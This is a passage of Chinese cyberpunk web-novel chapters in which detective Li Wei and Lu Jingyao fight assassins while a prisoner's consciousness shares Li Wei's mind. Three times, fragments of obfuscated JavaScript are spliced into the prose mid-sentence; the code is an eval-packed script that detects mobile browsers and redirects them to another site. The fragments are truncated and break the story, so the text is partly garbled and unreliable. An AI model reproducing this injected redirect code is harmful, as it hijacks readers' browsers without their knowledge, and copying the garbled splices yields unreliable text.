前面是涉企安全科的专属办公区。有别于重案组那破破烂烂的隔断,这里的走廊尽头是一看就价格不菲、隔音效果极好的军用级安全墙体和安全门,门缝底下透出一丝微光,显然里面有人在。 这也是李蔚没选择第一时间将证物上交的另一个重要原因:张组长的涉企安全科是明牌的公司狗,表面上大张旗鼓地查数据,背地里绝对是想绕开执法局的官方网络,替背后的财阀把这块石头私下截留。 在没摸清这东西的底细之前,李蔚不会把这个底牌亮给治安署里的任何人。 李蔚脚步放轻,竖起耳朵去听门内的动静。 童年在导致父母死亡的车祸中侥幸活下来后,她获得了远超常人的敏锐五感。她强行沉下心智,将听觉感官拉升到极限,终于,在电流声和换气扇的嗡鸣后,她在捕捉到了一道几乎被隔音层吸收殆尽的极其微弱的震动。 “……明微那边您尽可放心。”张组长刻意压低的声音在李蔚的耳膜深处艰难成型,“东西还没落在特勤局手里。现在这只是普通的高管失踪案,重案组没有插手的余地。我会赶在军方反应过来前尽快把那个胸针找回来。” 李蔚猛地睁开眼,浑身的肌肉紧绷得像一张拉满的弓。 就在这时,那扇沉重的安全门忽然向两侧滑开,张组长的身影出现在门口,那条创联重工出品的高级仿生机械左臂在走廊的冷光下泛着冰冷的金属光泽。 看到走廊里疾步向前的李蔚,张组长嘴角扯开一个熟练的笑容,出声叫住了她:“李副组长,这么晚还回局里加班?” 李蔚直起身,不动声色地掩饰住眼底的锋芒:“红灯区的案子有点新情况,想回局里查查以前的卷宗。” 她故意把话题往早上的案子上引:“张组长也不遑多让。一个普通的企业员工失踪案,居然让涉企安全科连夜加班。怎么,明微生物那边给治安署的年度赞助又要追加了?” 面对李蔚话里带刺的试探,张组长皮笑肉不笑地扯了扯嘴角:“李蔚啊,你这脾气也就是在重案组能混得下去。失踪的是明微生物的员工,企业的事,当然归涉企安全科管,我们也是为广大暮城市民负责嘛。” 李蔚迎着他的目光,语气发冷: “闻阗可不是普通的企业员工,他是明微生物的重要科学家,负责机密项目。他实验室的超合金保险门是被带有创联重工特征的高频震荡设备暴力切开的,现场甚至还有反常规的血迹残留,失踪时间还正好是创联发布会直播死亡案发生后,更不要说嫌疑人是他女朋友。 这案子根本不是普通的企业员工失踪案,还带有极其明显的恶性绑架甚至撕票特征。按理说,必须移交给我们重案组并案调查。” “打住。”张组长的机械手在空中虚按了一下,语气里多了一丝毫不掩饰的警告。 他走近两步,压低了声音:“这就是我不愿意让你们重案组插手的原因。你们查案子不懂得变通。明微生物的诉求很简单:找回闻阗,或者找回他带走的核心数据,并且把影响压在企业内部事务的范畴内。 特勤局那帮人已经在盯着了,如果这案子到了你手里,以你那种非要扒出个底朝天的硬骨头作风,不仅会惹怒创联和明微这两个大金主,还会把军方招来。” 张组长拍了拍李蔚的肩膀,机械手臂传来的力道透着几分威压:“局里下个月就要更新执法外骨骼的采购名单了,资金全靠这些企业爸爸兜底。听老哥一句劝,管好你手头那些下城区的烂摊子。内城的浑水,你蹚不起,我也绝对不会让你把这案子搞砸。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262934|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李蔚冷冷地看着他,没有拍开他的手。 张组长表面上大张旗鼓地查数据盘,背地里绝对是想绕开官方网络,替财阀私下截留那个胸针。在这个被资本渗透得千疮百孔的治安署里,走正常程序根本抢不下这个案子。她必须找一个张组长惹不起的外力来破局。 可是,她能够找谁?还有谁是可信的? 剩下的人,大概也只有……她了。 十分钟后,李蔚离开治安署大楼,钻进自己那辆越野车,锁死车门。她重新摸出那枚冰冷的胸针,眼神变得极其锐利。 她从兜里摸出另一个老式手机,给一个许久未碰的加密频段发了一个消息。 “出来吃碗面。现在,老地方,不见不散。” 十几分钟后,B区北部老顾面馆 城北老顾面馆门外,暴雨击打着摇摇欲坠的雨棚。 面馆内部,昏暗的光线中,廉价的全息投影设备正在漏电的边缘反复横跳。一条像素模糊、闪烁着电磁噪声的红鲤鱼,在油腻的餐桌上方机械地摆动着尾巴。 李蔚靠在塑料椅背上,看着对面坐下的女人。 女人把那件领口微秃的深灰色旧风衣脱下来挂在椅背上,里面是一件极普通的黑色高领衫。她没有化妆,长发随意地用一根黑色皮筋扎在脑后,眼皮无力的半睁着,看着就是一个疲惫不堪的社畜。 如果不是李蔚已经认识了她很多年,绝不可能认出眼前的人和就是那个漂亮高傲的军方特勤局精英——陆靖遥。 “好久不见,差点没认出来。”李蔚盯着那件旧风衣,刻意压低了声音,“为了跟我见一面,特意去翻了老李当年留下的压箱底货?” 陆靖遥没接话。她伸手拨弄了一下那条从指尖穿过的全息红鲤鱼,看着它闪烁消失,才低声道:“在这地方,显眼等于找死。说正事。” 她的声音压得很低,没有任何多余的称谓。 “老李以前常说,这家店的排骨汤能冲淡血腥味。”李蔚自嘲地笑了一声,看着门外影影绰绰的城市灯火,“现在连老顾这里也赶上潮流的尾巴了。你觉得,那些埋起来的东西还能有重见天日的一天吗?” 陆靖遥停下了手上的动作,眼神在昏暗的灯光下显得有些晦暗。 “死掉的东西就该埋进土里。别跟我绕弯子,你到底查到了什么,值得你冒风险联系我。” 就在这时,一个穿着发黄围裙的男服务员端着两碗排骨面走了过来。 在这个杀手眼里,这桌只坐着两个落魄的普通女人:一个是一脸刺头样的执法者,另一个是熬干了精力的普通职员。后者不会对他刺杀前者的计划造成威胁,何况,他们还有杀手锏。 他没有任何迟疑,在靠近李蔚侧后方的瞬间,空出的右手极其隐秘地探向了托盘底部。 托盘下的短管消音枪,露出了漆黑的枪口。 33.猜疑 连映的意识穿透物理空间,扎进李蔚脑海。 就在这时,看到服务员盘下枪口的李蔚身体本能地向侧方猛地一折。 “噗!” 消音枪射出的子弹擦着李蔚的头皮飞过,在塑料桌面上钻出一个焦黑的洞。 李蔚回身一记重踹,精准地扫向服务员的下颌,对方也反应很快,立刻闪身躲开。 坐在她对面的陆靖遥也立刻反应过来,整个人像头被压缩到极致的猎豹从椅子上弹开,全身军用级仿生义体立刻紧急启动。 一阵仿若深海捕食者的低频震颤后,她皮下的基因强化肌肉骤然膨起,爆发出可怕的推力,几乎闪电般跃至正在闪避李蔚的服务员身前,指尖弹出尖刀,狠狠刺向对方喉间。 “嗞——” 伴随着一阵极其细微的电子干扰声,那个服务员的脸在受到重击的瞬间闪烁了一下。原本温和的人类皮肤像全息投影崩坏一般,露出了一瞬狰狞的金属骨架与幽蓝色的感知阵列。 这竟然是一个高端伪装的战斗仿生人。因为它拥有模拟人类温度的生物外皮,又一直躲在远处,陆靖遥那双具有红外功能的义眼一开始竟然也被骗了过去。 仿生人并没有因为下颌骨的碎裂而停下,它那双伪装成人类眼球的镜头飞速对焦,左手直接格挡住了李蔚的追击。 “当!” 李蔚感觉自己踢在了一根实心的钛合金柱上,反震力震得她脚踝剧痛。就在此时,仿生人的右手五指突然弹出数枚锋利的单分子刀刃,对着李蔚的胸口横扫而过。 “小心!” 陆靖遥伸出手臂,侧身替李蔚挡了一下。 李蔚眼睁睁看着那足以切开钢板的利刃在陆靖遥的左臂上狠狠划了一道,但陆靖遥竟然连眉头都没皱一下。在她绽开的表层皮肤下,隐约能看见完好的银白色纤维编织正在微光中闪烁。 李蔚的心底一沉。她以前认识的陆靖遥是坚定的原装人类拥护者,十分厌恶人体改造,但现在,陆靖遥的身体显然已经不再是纯粹的血肉。 然而,真正致命的并不是这个仿生人。 由于本体也身处危机之中,连映过来以后立刻反应极快地打开机械感知和精神力,立刻就看到了三处极其刺眼的红色预警。 一个在近处,两个在暗处。 在连映的双开视界里,面馆角落堆放杂物的阴影处,有两个肉眼看不到的精神波动正朝这边飞速移动。 这种技术屏蔽了声音、光线和温度,连李蔚的超强感官和陆靖遥义体的军用级温感红外都无法探知,在物理感官上他们就像是两团透明的空气,只有特殊设备才能发现踪迹。 然而,在连映的精神力感知范围内,这两个人的存在感就像黑夜里的火炬。 该死,居然还有两个肉眼看不见的暗杀者!阵仗这么大!? 连映心中焦灼,却限于此时和李蔚同步率不够无法直接进行意念交流,只能努力在她脑海里大声喊道: 【左后方八点钟方向有袭击者!不要用眼睛看,那里有东西在移动!】 她不知道李蔚现在能不能听到她的话,但是根据她和夏雨的意识链接经验,她的强烈意念确实能以某种方式被躯体主人所察觉。 李蔚瞳孔骤缩。她好像忽然听见一个声音在心里警告她左后方八点钟方向有危险,她忍着肌肉痉挛的剧痛,在翻滚的过程中拔出配枪,对着那片虚无的空气就是三发速射。 “唔——” 空气中传来一声压抑的闷哼。子弹撕碎了光学伪装涂层,一个全身覆盖着灰黑色复合甲的隐匿杀手显形了,他踉跄了一步,肩膀处露出了复杂的义体组件。 “居然真的有……!”李蔚来不及思考心底的那个声音到底是什么,拧身刺向隐匿杀手。 “多重隐匿?!”陆靖遥惊怒交加,狠狠踢开又一次爬起来的仿生人袭击者,小臂皮肤弹出军用高频震荡刀。 她知道也亲身体验过这种技术,但她没想到,居然有人敢用这种技术在闹市区袭杀官方人员。 然而,就在两人对付这一个隐身杀手时,另一个隐匿在天花板上的袭击者已经悄悄接近了她们。 这个还没现身的杀手像壁虎一样贴在满是油垢的天花板上,手中细如发丝的单分子线已经垂到了陆靖遥的咽喉边缘。 五感超群的李蔚和浑身义体的陆靖遥此刻都被眼前的敌人牵制,根本无法察觉头顶的死神。 【该死!另外那个居然在天花板上!】 连映发现了这个袭击者的存在,意识深处瞬间感到了前所未有的焦灼,极度紧张的情绪顺着李蔚的身体和神经,瞬间和她胸前口袋里放的胸针共振。 嗡! 原本冰冷的胸针猝然爆发出惊人却无声的波动,仿佛一颗被强行点燃的微型核心,瞬间将连映的精神波动放大了数十倍! 瞬间,连映感觉到自己的意识仿佛化作一柄实质的重锤,顺着这种放大的信号,对着天花板上那个阴冷的磁场漏洞狠狠刺了下去! “啊!!” 没有任何物理层面的波纹,但天花板上的杀手却像是被某种无形的重锤击中了颅骨,忍不住惨叫出声,叫声并未传出斗篷之外,但他原本完美维持的多重隐匿技术瞬间崩出一道缝隙,身体在失神中擦过了锈蚀管道,发出一道致命的摩擦声。 陆靖遥和李蔚敏锐地听到头顶的动静,两人同时出手,陆靖遥完全凭直觉向后上方挥出一刀,单分子丝线被战术刀险之又险地切断,李蔚则举枪速射,砰砰两枪过后,那个失控坠落的杀手现出身形重重砸在桌子上又掉在地上,桌上碗盘碎了一地。 陆靖遥没有任何犹豫,一记滑铲逼近,战术刀精准地捅进了那个杀手的颈动脉。 与此同时,李蔚反手一枪,解决掉了那个再次摇摇欲坠地站起身来企图举枪再次射击的仿生人。 面馆重新陷入死寂。 满地的狼藉中,前一个匿形杀手见势不妙,撞开后窗消失在暴雨中。 “咳,追不上了。”李蔚喘着粗气呛咳几声,左手死死按在胸口,那里滚烫如岩浆。 刚才某一瞬间,她感觉到脑海里那个声音爆发出了某种令人战栗的威压,自她身体刺向头顶,随后,天花板上的另一个匿形杀手才露出了破绽。 这到底是她的直觉,还是幻觉?李蔚心中疑惑不解,刚想给地上一抽一抽的仿生人补刀,对方眼中却红光爆闪,下一秒钟,“砰”地一声,它的身体零件爆了一地。 “草,还想带回局里好好审审,果然这种的不会留活口。”李蔚遗憾地道。 她蹲下身,翻开仿生人耳边的发丝,跳动的电火花中,耳朵上一串极其细微的银色编码映入眼帘:CL-990 PRO MAX。 “果然是创联的货。”李蔚站起身,用袖子抹掉嘴边的血沫,眼神冰冷,“看来,有人等不及要让我闭嘴了。” 陆靖遥缓缓收回震荡刃。她那件已经割破的袖口下,左臂受损的基因仿生皮肤正毫无生机地耷拉着,露出银白色的人造内里。 她跨过尸体,步步逼近,带着红光的义眼死死锁定了李蔚,她伸手扣住李蔚的下颌,将她的脸强行抬起。 “你到底惹了什么人,为什么会公然派人杀你?”陆靖遥的声音压得很低,带着极度的怀疑,“而且,我的军用级义眼都没第一时间发现那两个披着多重隐匿皮的家伙,你是怎么发现的?” 李蔚盯着那只皮肤异常光滑毫无老茧的白皙手章,突然冷笑一声,反手格开了陆靖遥的手臂。 “那你呢?你又是什么时候变成这样的?” 李蔚直视着陆靖遥的眼睛,语气冰凉: “十年前,我因为没法全身义体化被军校拒之门外,你当着我的面把那个申请表撕成了碎片,说人之所以是人,是因为那层无法被数据精准量化的会累也会痛的皮囊。 现在,你这身昂贵的高阶仿生皮和皮下护甲、义体手臂和其他我还没见到的义体,又是用什么换的?师.姐?” 听到她句末刻意加重的语气,陆靖遥眼神微沉,一抹晦暗在她精致完美的高科技仿生义眼深处一闪而过。 她想起了那个在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了使李蔚这边不出纰漏,连映赶紧接手了李蔚的身体,一边努力支起精神力护卫在自己意识周围抵御黑斑的侵扰,一边努力在脸上复现李蔚刚才的表情和情绪。 在陆靖遥眼里,李蔚只是在对峙中突然垂了一下眼皮,再次抬起头时,虽然似乎还是一脸凉凉的嘲讽,但那双眼里的火气似乎瞬间冷寂了。 陆靖遥扣着李蔚脉搏的手指猛地收紧。 “李蔚?” 陆靖遥盯着面前这张熟悉的脸,心中警报直响,沉声问道:“怎么不说话?” 连映在这一秒钟内迅速复盘。师姐、带刺的语气、曾经反对义体化、经熟稔如今决裂的关系…… “说什么?” 连映开口了,用李蔚特有的沙哑嗓音,语带嘲弄地地反问道: “说你这身仿生皮摸起来手感不错?还是说,近距离看,它完美得让我恶心?” 陆靖遥盯着她,眼神里的审视没有减少半分,反而多了一丝狐疑: “你刚才叫我什么?” 连映心底猛地一沉。刚才李蔚确实是叫她师姐了啊,连语气她都完美复刻,哪里出了问题? “要不然,叫你陆长官?” 连映稳住声线,学着李蔚刚才的样子略显粗鲁地甩开陆靖遥的手,眼神掠过一丝不屑:“在这种到处都是录像头的闹市区,还是公事公办一点比较好。对吧,师、姐?” 最后两个字,她特意加重了语气,带着种李蔚式的带刺的挑衅。 陆靖遥抱着手臂,站在雨幕边缘,眼神沉得可怕。她突然跨前半步,再次逼近连映,两人的鼻尖几乎相撞。 “李蔚叫我师姐时,眼神会下意识往左下角撇。” 陆靖遥的声音低沉而危险,带着某种不容反驳的笃定。 “但你刚才叫我师姐的时候,眼神太稳了,没有回避,也没有温度。” 陆靖遥盯着她,眼神里的审视几乎要烧穿皮肤。她突然伸手,指尖猛地按住连映后颈。 “你根本不是李蔚。” “你是谁?” 34.达成协议 连映用李蔚的双眼冷冷地注视着眼前距离极近的这张美艳英气的女人脸。 世界真小啊。 昨夜长达八小时的审讯中,就是这个女人穿着笔挺的制服坐在审讯桌后,用最冷漠的逻辑,无论她说什么,都要把她定性为心性扭曲的杀人犯。 而现在,她好像发现了这个冰山般冷漠无情的陆长官的破绽。 连映眼神一冷,刚想说什么,意识却骤然一暗。 是那个黑斑。 【抓到你了……】 连映仿佛听到了一声幽幽的喟叹,叹息声像一把刀,瞬间切断了连映的意识和李蔚跨越空间的链接,将连映的意识强行抽回。 “唔!” 李蔚的身体猛地打了一个寒噤,原本涣散的瞳孔骤然聚焦。刚一清醒,她就发现陆靖遥竟然正死死按着自己的后颈,那双义眼正闪着诡异的红光。 “你特么……抽什么风!” 李蔚反手一记肘击震开陆靖遥,连退几步,像头被激怒的野狼,“陆靖遥!你是不是零件装多了烧坏脑子了?问我是谁?我是你奶奶!” 这种熟悉而充满生命力的咒骂让陆靖遥脸上的狐疑微微一滞。 “你刚才怎么了?不会是过得太憋屈脑子出问题了吧?”陆靖遥单边眉毛扬起,不解地问。她已经被李蔚一会一变的表现搞糊涂了。 “你才脑子出问题了!我刚才差点被那个仿生人的精神脉冲震晕了!”李蔚一边敷衍,一边飞速在心里狂吼:“喂!刚才那个幽灵?幻觉?黑客?副人格?还在吗?” 没有任何回音,不但如此,她能感受到,衣服里胸针的热度骤降,那股通过胸针蔓延而来的粘稠危险的压抑感也已消失无踪。 地上的尸体还在滋滋冒着电火花。 李蔚按着剧烈起伏的胸口,心中惊疑不定。刚才失去意识的时候,她仿佛进入另外一个身体,体验了一个陌生的情境:狂暴的拍门声,闪烁的白炽灯、满地的医疗器械,以及天花板上一个正在不断扩散的黑斑。 那种如影随形的侵略感让她浑身发冷,却又带着一种极其诡异的、仿佛触碰到某种禁忌核心的悚然感。 背后的冷汗浸透内衬,李蔚回过神来,看了一眼陆靖遥。她知道,这个敏锐多疑的女人已经察觉到不对,必须马上结束这个话题。 “别废话了,我知道你刚才录像了,拷一份给我。” 李蔚扬了扬自己的纽扣型外置脑芯,强忍着脑内的眩晕道: “我没义眼,但我也录了音。看你一直盯着我套话,我就知道你那边肯定有鬼。现在给我,我就不会在报告里提及你的名字,当然,如果你身体里有什么跟踪器监视器,那得你自己解决。” 看陆靖遥抱着手臂盯着她眼神莫测,她假装淡定地笑了笑: “今晚上这群人本来就是冲我来的,你只是路过,明白?你现在有那个举世瞩目的案子在跟,应该不想在这个时候接受调查,影响你的大好前程吧。顺带一提,我已经报警了,执法局的人很快就到。” 陆靖遥盯着李蔚冷笑一声道:“李蔚,威胁我没用。说实话吧,你今天找我来有什么目的,总不会是来找我叙旧的吧。还是说,你知道有人要来杀你,特意叫我来垫背的?” “靠,要是知道有人要来杀我,我会来这吗?再说了——” 她咧嘴笑了笑,压低声音,凑到陆靖遥耳边道:“我今晚出门只告诉了你一个人。如果你没出卖我,那这些杀手是怎么在十五分钟内把这儿包圆的?” “我出卖你?为什么不能是你出卖我?” 陆靖遥冷哼一声,不悦地道:“五年来,你第一次主动联系我,不说明是什么事,只是说‘一起吃个饭’——我倒还想问,到底顿饭是一时兴起,还是早有预谋?” “噗,我出卖你?要是你连那些人是冲着谁来的都看不出来,这几年在特勤局可就白混了。” 李蔚盯着陆靖遥那表皮破损、带有银色神经导管的左臂,嗤笑一声: “话说,你这具身体是不是每秒钟都在往财阀的服务器里发运维日志?看来你那些尊严换来的零件也不怎么安全啊。” 陆靖遥眼角抽动了一下,她看向自己那条正自动止血的左臂,语调降到了冰点:“如果是跟着我来的,那他们派出来的就不是这种两下子就能解决的家伙了。” “口气倒不小,可惜,如果不是‘我’发现了那两个隐形人,你可能早就被大卸八块了。”李蔚冷哼一声,毫不客气地指了指地上那具滋滋冒火花的仿生人,“既然是冲我来的,说明我查到了不该查的东西。师姐,地上这具CL990可是个难得的敲门砖。你们特勤局不是一直想扒创联的皮吗?这可是难得的机会。” 陆靖遥眼神凉凉地看着她:“你大费周章把我叫来,就是为了给我送这份大礼?” “送?你想得美,这是一笔交易。”李蔚扯了扯嘴角,眼神变得极具攻击性,“闻阗的案子,还有那个叫连映的女囚犯,我要‘联合并案’。你做特勤局的挡箭牌,把涉企科那帮想要抢尸体洗地的走狗挡回去,我做你的外围刀子。” 陆靖遥仿佛听到了什么笑话,微微扬起下巴,语气中透着居高临下的审视:“李蔚,你以为特勤局是收容所?一具破铜烂铁就想换特勤局的联合调查权,你的筹码未免太廉价了。我知道那个叫连映的女嫌疑犯是你先发现的,但是,你对那个案子的执念已经让你失去了作为执法者的基本客观性。老头子当年说过,办案最忌讳掺杂私情。” 李蔚没生气,她甚至收起了那副混不吝的笑。她往前走了一步,盯着陆靖遥那双精密的义眼,压低了声音,一字一顿地问: “那如果我加上这个呢——师姐,你忘了老头子当年是怎么死的了?我这里可有能让你飞黄腾达的线索。” 陆靖遥的瞳孔骤然一缩。那双始终闪烁着冷静红光的义眼,在这一瞬间出现了剧烈的波形紊乱。她那张仿佛焊死了冷傲面具的脸,终于被撕开了一丝裂痕。 “你是说……”陆靖遥一把揪住李蔚的衣领,死死盯住她的眼睛,声音压得极低,透着一股压抑到极致的狠戾,“当年那件事……和这个案子有关系?是创联,还是那个女人和她失踪的科学家男朋友?” “具体是什么,当然得等交易达成才能透露。” 李蔚迎着她极具压迫感的视线,毫不退让地直视回去:“加上这个筹码,够不够换一张你特勤局的入场券?” 沉默。 后厨里只有连绵的雨声,和机械元件偶尔爆出的细微电音。 足足过了半分钟,陆靖遥才缓缓松开手,站直身体。她眼底的风暴被强行压了下去,眼神重新恢复了那种高高在上的冰冷与精密计算的冷酷。 “特勤局没有联合并案的先例,地方执法局也没资格跟我们平起平坐。” 陆靖遥的语气恢复了官方的冷硬,字句铿锵。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280971|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是,我可以给你一个特勤局外聘顾问的临时授权。案权归我,你只负责外围查证。如果有任何隐瞒,或者你敢打着特勤局的牌子搞私仇——” 陆靖遥冷笑一声,目光扫过地上的仿生人尸体: “——我会亲自把你连同这堆破烂一起丢进熔炉。” “成交。”李蔚咧嘴一笑,长舒了一口气,把一个小巧的存储器抛了过去,“传到这里头就行。” 她瞥了一眼地上的仿生人残骸,抬头看向陆靖遥:“既然上了同一条船,师姐,这挡箭牌你得当到底。涉企科那帮狗鼻子灵得很,你现在要是走了,这地上的高频震荡刃切口和军用级战斗痕迹,我可解释不清。留下来,以你特勤局副局长遇袭、执法局协助的名义,把这地方给我封死。” 陆靖遥瞥了一眼满地的狼藉,发出一声极具嘲讽的轻哼。她并没有离开,而是抱起手臂,姿态冷傲地靠在了一处还算干净的墙壁上。 她的姿态和店里杂乱破败的环境格格不入,周身散发出的却是一股不可侵犯的威压。 “李蔚,拿特勤局副局长当现场保安和挡箭牌,你的胆子越来越大了。” 陆靖遥抬手点了一下太阳穴,一道加密数据包瞬间传送到了李蔚的存储器上抛了回去,语气冰冷且不容置疑,“五分钟。五分钟内你的人要是接管不了现场,我就直接呼叫特勤局战术小组把这儿夷为平地。至于你的底细……最好别让我发现你刚才是在骗我。” 李蔚没再说话。她低头看着存储器接收到的录像数据,脱力般地靠在操作台上。 听着门外越来越近的警笛声,她摸了摸怀里那枚重新变得冰冷的胸针。被怀疑杀易楚生的女嫌疑犯连映、她失踪的科学家男友、老头子的死、要杀她的创联,还有眼前已经变了一个人的陆靖遥……她已经把自己当成诱饵,彻底挂在了这把最锋利的刀上。 但是,在如今密布在她头顶上的所有疑云中,最令她意外的,其实是脑海中那个陌生的女音。 那个忽然出现在她脑海中的声音,绝对不是脑机黑客。其实她的纽扣型外置脑芯战斗时就已经掉了,她刚刚查看那个仿生机器人编号时才捡回来的,她的身体无法安装任何侵入型脑芯,所以当年才被军校拒之门外。 然而,如果刚才脑子里那个女人能直接接管她的身体,还能瞬间就发现隐藏在多重隐匿设备下的杀手,那她必定是比杀手更可怕的存在。 如果这样的话,她来到自己身上又有什么目的?难道是和她正在处理的什么案子有关?还是说,这一切都是财阀的阴谋,目的是让她博取她的信任,以获取她知道的线索,比如——老头子的死? 无论如何,如果她再次出现,一定谨慎小心,不能向她泄露任何消息。李蔚警惕地想。 羁押所,医务室 连映的意识终于回到了自己的身体里。 然而,尽管意识清明,她却怎么也醒不过来,眼皮沉得像坠了千斤的重担无法睁开,只感到一股极寒且粘稠的漆黑意念如同一块黑布,瞬间封锁了了整个密闭空间。那感觉如同置身于深海的淤泥中,带着浓重的铁锈味和令人窒息的压迫感。 它来了。 刚刚在李蔚识海里扑了个空的黑斑,循着精神引线的气味,彻底锁定了连映的本体。它没有任何物理形态,却在连映的感知域里化作无数条湿冷的触手,蛮横地撬开她的意识防线,直逼最脆弱的神经中枢。 【抓到你了。】 35.反向捕猎 【抓到你了。】 一道混沌低沉的意识流在连映的脑海深处震荡,带着极度危险的偏执,以及跨越了不知多少时间的饥渴,试图消融连映的意识,将她同化为一体。 连映的意识被粗暴地砸回自己的躯壳。 她猛地睁开眼,视网膜上却是黑沉沉的一片,像是隔着一层浓雾,医务室的天花板、医疗仪器和身下的病床都在原位,可都显得十分遥远。屋里温度明明是正常的,她却从骨子里感到发冷。 连映试图唤出精神力或者系统界面,却什么都没出现。 啊,她忽然明白了。 那东西已经进来了。 它像是一场涨潮的黑水,无声无息地漫过连映的脊椎,浸透了她的每一寸神经。那是一股混沌、低沉却庞大到令人战栗的意识流。带着跨越了不知多少时间的饥渴与偏执,它温柔而强硬地包裹住她,试图将她彻底消融。 连映没有筑起防线,因为毫无意义。 她像一具溺水的躯体,近乎纵容地任由那股阴冷的力量填满自己意识的缝隙。 黑斑在黑暗中发出了一声满足的喟叹。它找到了那唯一的、同源的锚点。那是一种令人难以抗拒的精神共振,对方在撕咬她的灵魂,却也用一种近乎哀求的力度拥抱着她,试图浸入她心中最隐秘的角落。 【我们……本就该是一体的。】 一道沉沉的低语在识海深处荡漾。 这种侵袭带来一种陌生而细微的痛楚,可它的气息却莫名熟悉。那是冷清的消毒水味,是永远规律沉静的心跳声。这种独特的精神频率,就像童年时那颗被明令禁止的糖果,散发着致命的诱惑力,足够让任何一个在路上踽踽独行的孤魂缴械投降。 仿佛只要闭上眼,就能永远沉沦在这个令人安心的怀抱里。 但连映的心脏跳动得如同冰冷的机械。虽然现在即使不吃糖果也听不到妈妈的夸奖,虽然现在已经听不到妈妈的夸奖,但她已经长大了,知道看起来越美好的事物,索要的筹码越昂贵,而她付不起。 在这股黑色潮水即将触及她意识最核心的刹那,连映一直隐忍不发的精神域,突然化作了合拢的铡刀。 “我就是我自己,我不属于你!而且——” 她不是在防守。她是在捕猎。 从昨天开始,她就陷入了一种无法反抗的被动局面,她已经受够了。从现在开始,她不但拒绝付出任何代价,反而要从侵略者身上,咬下一块肉来! “在滚出去之前,留下点东西!” 连映在心底发出无声的冷呵,反手用精神力死死合拢,如同极其贪婪的利齿,死死咬住了那团已经和她深度纠缠的黑雾一角。 撕裂。 随着识海深处传来一声几乎听不见的惨烈震颤,连映生生从那庞大的阴影上撕下了一块最纯粹的精神源质。 黑斑被这股自毁般的疯劲和剧痛生生逼退。它像是一只被猎物咬断了触角的深海巨兽,带着狂躁的不甘与震怒,顺着墙壁的缝隙轰然退去。 “!!!” 连映猛地睁开眼,视网膜上残留的红光逐渐散去。她脱力地跌回枕头上,大口喘息。 身体还在剧烈颤律,那种被那个黑斑强行侵入的精神冲击,让她此时的呼吸变得异常破碎且灼热。冷汗浸透了囚服,但她的眼底却亮起了一抹极其妖异的微光。系统提示跳了出来,被她看也不看地关上。 她现在有重要的事要做。她要进食和消化。 那块被她强行吞下的、属于黑斑的精神源质,正化作极其精纯的能量,迅速修补着她之前受创的神经突触,甚至让她的感官域比以往更加敏锐深邃。 她赢了,不仅守住了自己,还掠夺了对方。 整座建筑里静悄悄的,之前惊天动地的响动和嚎叫忽然停了,门口的机械警卫也不再砸门,似乎一切忽然就恢复了正常。 医务室另一边的角落里,狱医瑟瑟发抖着从墙角站了起来。他微微偏过头,怜悯地瞥了一眼黑斑离去的方向,目光最终落在病床上的连映身上,眼里闪过一丝和动作截然不同的清明和兴味。 下一秒,他眨了眨眼,脸上堆着属于那个面颊圆润的医生的惊惶表情,看着监护仪上乱作一团的波形,声音发着抖冲了过来: “连、连小姐!你的神经递质超标了!别动,我得给你注射镇定剂!” 连映一把推开他的手。她虽然虚弱,但体内那股新获得的力量正让她处于一种极度清醒的亢奋中。 她发现,走廊外那刺耳的最高级别红色警报,不知何时已经停止了。 整座建筑陷入了一种令人不安的死寂。之前那些穿透墙壁的狂乱嚎叫,以及机械警卫粗暴砸门的轰鸣,毫无预兆地戛然而止。墙顶的警示灯从狂躁的血红退散,变成了缓慢呼吸般的橙黄色。 伴随着微弱的电流声,毫无感情的合成电子音在空旷的走廊里循环回荡: “警告降级。区域物理威胁已解除。请各单位保持原地待命,切勿随意走动……” 一切似乎突然就恢复了正常。 但连映知道没有。吸收了那个黑斑的精神能量后,她的感知域比以往任何时候都要深邃。 现在,危机根本没有解除,那股熟悉的黑色存在,在一瞬间坍缩、聚集到了同一个方向。 顺着那股极度压抑的能量波动,连映赤着脚,缓缓走到医务室的强化玻璃窗前。 这次上次被那个发疯的男犯人生生拆下来的窗户已经重新装好了,崭新的高透玻璃外,一个熟悉的高大身躯被锁在特制的拘束架上,陷入毫无理智的癫狂暴走中。 他就像一头完全失去痛觉的野兽,在拘束床上剧烈地挣扎反扑,大量冷汗浸透了他的病服,他仰着头,额头青筋暴跳,喉咙里压抑着极其粗重、不似人类的嘶喘,苍白的皮肤下,青黑色的血管像某种拥有独立生命的藤蔓般暴起扭曲。 特制的金属合金扣被勒得发出令人牙酸的嘎吱声,几乎要生生嵌进他痉挛的血肉里。 他的躯体上没有老式机械义体那种刺目的电火花,取而代之的是一种如鬼怪附体般的生物异变。显然,他的神经已然扭曲,驱使着这具□□走向自我毁灭。 而在那副惨烈的躯壳周围,在只有连映能感知到的维度里,正散发着刚才那种极其熟悉的、阴冷而狂躁的黑气。 